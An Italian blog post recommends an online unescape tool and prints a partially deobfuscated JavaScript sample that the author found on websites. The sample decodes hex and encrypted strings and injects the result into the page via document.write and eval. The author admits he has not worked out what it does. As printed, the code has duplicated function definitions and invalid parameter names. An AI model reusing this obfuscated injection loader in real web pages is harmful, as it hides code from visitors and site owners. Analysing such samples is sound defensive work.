Script offuscati

In merito all'articolo di Mister6339 su Delfinsblog,volevo suggerire un tool online per fare l'unescape automatico di quegli script poco limpidi che capita di vedere per il Web,come questo presente in certi siti.
Basta recarsi su Text Unescape Utility,incollare il solo testo per cui si necessita l'unescape e cliccare su Unescape. Apparirà qualcosa di interessante:


a = 'abcdef';
b = '06acd3e61cd8465ce2';
c = '3c7363726970743e747061747a7a203d204d6174682e616273284d6174682e73696e284d6174682e636f73284d6174682e50492929293b3c2f7363726970743e0a';
h = f1(c);
d = d.toString().substring(2,15);
e = new Array();

for (i = 0; i<13; i++) {
e[i] = d.charAt(i);
}

f = 'è[&%.;]({{?!!èéòç°#ì[§]~`ù';
f = f2(f);
g = 'e23e528fb8df1cef618cb5e11c3a62868fe9143b7493cd74736df92c426facbed1e54a85a5d5cfed12315a95aa296075b8cffa366541a0d9081d5e8862a0b3ec294a8376c9f9648ebad6173c2c96c9d913456e5bc2f7103f68939091e4fd738ec1ee214c4a31';
g = f3(g);

function f4(var) {
yln32s = 0;
for(i = 0; i < 6; i++) {
qhlpq2z = a.substring(i, i+1);
if (var == (i + 10)) {
yln32s = qhlpq2z;
}
}
if (yln32s < 10) {
yln32s = "" + var;
}
return yln32s;
}

function f3(var) {
yln32s = 0;
for(i = 0; i < 6; i++) {
qhlpq2z = a.substring(i, i+1);
if (var == qhlpq2z) {
yln32s = 10 + i;
}
}
if (yln32s < 10) {
yln32s = eval(var);
}
return yln32s;
}

function f3(yln32s) {
temp2 = -1;
temp = 144693;
for (pj75fw = 0; pj75fw < yln32s.length; pj75fw = pj75fw + 2) {
temp2++;
if (temp2 > 12) {temp2 = 0;}
temp = temp + 43;
if (temp > 145716) {temp = 0;}
kjhluyu = (temp % (eval(e[temp2]) + 1));
kjhluyu = kjhluyu + (temp % 255);
z299zip = yln32s.substring(pj75fw, pj75fw + 2);
z299zip = f4(z299zip, temp2, kjhluyu);
z299zip = '%' + z299zip;
document.write(unescape(z299zip));

}
return 0;
}

function f4(var, ddb, ddc) {
var = var.toLowerCase();
var = f3(var.substring(0, 1)) * 16 + f3(var.substring(1, 2));
var = var - e[ddb] - ddc;
if (var < 0) {var = 255 + var;}
var = f4(Math.floor(var / 16)) + f4(var % 16);
return var;
}

function f2(m5dawy) {
m5dawy = escape(m5dawy);
return m5dawy;
}

function f1(b) {
for(i = 0; i < b.length; i = i + 2) {
tem = b.substring(i, i + 2);
tem = '%' + tem;
document.write(unescape(tem));
}
return 'eval("jrqb9yyz = escape(f)")';
}
Ma questo non basta a sapere cosa faccia questo script: di fatto la serie di funzioni richiamate all'interno di questo codice su alcune lunghe stringhe (ma non casuali) al suo inizio,effettuano ulteriori unescape che ora non ho il tempo di verificare.
Sembra evidente che ci sia dietro qualcosa di non proprio cristallino :-D

0 comments:

Byte Strike Blog - Designed by Posicionamiento Web | Bloggerized by GosuBlogger